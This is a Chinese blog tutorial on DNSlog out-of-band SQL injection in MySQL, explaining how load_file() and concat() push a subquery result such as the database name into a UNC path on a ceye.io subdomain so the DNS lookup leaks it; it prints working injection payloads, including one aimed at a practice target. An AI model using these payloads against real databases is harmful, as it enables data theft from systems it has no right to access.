mysql數據庫中的騷姿勢-dnslog注入原理

前言

我以爲我寫過dns注入了,結果我心血來潮看看博客,發現我居然還沒有寫
那麼我就寫一下

0x01.Dns注入原理

什麼是dns?
例子:我們去訪問 www.baidu.com,這時候dns會吧 www.baidu.com 這個域名轉換爲 IP地址
Dns其實就是負責把域名轉換爲IP地址
如果還不懂的話點擊 點擊這裏查看

Dns在域名解析時會留下域名和解析ip的記錄,利用這點我們可以使用Dnslog(日誌)記錄顯示我們的
注入結果

dnslog注入原理
通過子查詢,將內容拼接到域名內,讓load_file()去訪問共享文件,訪問的域名被記錄
此時變爲顯錯注入,將盲注變顯錯注入,讀取遠程共享文件,通過拼接出函數做查詢,拼接到域名中,訪問時將訪問服務器,記錄後查看日誌

0x02.什麼情況下使用dnslog注入?

一般情況下,在我們無法通過聯合查詢直接獲取數據的情況下,我們只能通過盲注,來一步步的獲取數據,這時候就可以嘗試使用dnslog注入

0x03.dnslog注入該怎麼注入

這裏就要借用一個平臺:http://ceye.io


然後我們這邊訪問一下 111.pxxx.ceye.io


這邊就已經記錄了我們訪問的請求

然後我們這邊還用到 load_file()函數
就是讀取文件,然後返回的內容爲字符串

0x04.dnslog注入方法講解

我們先看下查詢文件是怎麼查的

dnslog注入
只不過亂碼了,我也懶得去設置

這時候我們去構造一個我們注入的payload

select load_file(concat())

我們先大致的這樣構造出來基本注入語句
concat的作用就是將字符串連接在一起

select load_file(concat('\\\\',(select database()),'pdxxx.ceye.io\\abc'))

然後我們把 concat() 裏面的內容拿出來看

concat('\\\\',(select database()),'.pdxxx.ceye.io\\abc')

\\\\其實是轉義的意思,使用後就會變成 \\
然後逗號隔開,(select database()) 就是一個子查詢
然後後面那裏就是 0x03 演示的
\\也是轉義,這樣就會變成一個 \

由於concat() 函數的原因,最終變成

select load_file(\\庫名.pdxxx.ceye.io\asb)

你可能會問,爲什麼我是寫漢語《庫名》?

因爲這邊是 子查詢,查詢的就是庫名,然後把庫名拼接進去 就像 第三步那樣,只不過 111 是我亂寫的,但是ceye平臺依然去記錄這個請求

你也可能會問,爲什麼寫 \asb,asb有什麼特殊含義嗎? 沒有的,沒有什麼特殊含義,只是隨便亂寫的

數據庫去訪問root.pdxxx.ceye.io的服務器下的共享文件夾asb

然後ceye.io的子域名的解析都是在某臺服務器,然後他記錄下來了有人請求訪問了root.pdxxx.ceye.io,然後在ceye這個平臺上面顯示出來了

這就差不多解釋清楚了,這時候我們再構建一個注入語句

select load_file(concat('\\\\',(select database()),'.pdXXwo.ceye.io\\abc'))

我們先看一下是怎麼查出庫名的


然後看下,發現成功的查詢出了庫名,數據庫也是存在這個庫的,這時候我們再去靶場玩一玩

0x05.靶場演示

and (select load_file(concat('\\\\',(select database()),'.pdkzwo.ceye.io\\aaa')))#

通過上面的構造,我們簡單修改一下既可注入


就得到了庫名,接下來和前面的 union注入一樣

你可能會問這一次只跑出一個數據,萬一很多張表呢?
然後其實你可以用 limit來的

文末

寫完感覺有點累,我中午午睡完後感覺頭有點疼,實在受不了,暈乎

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章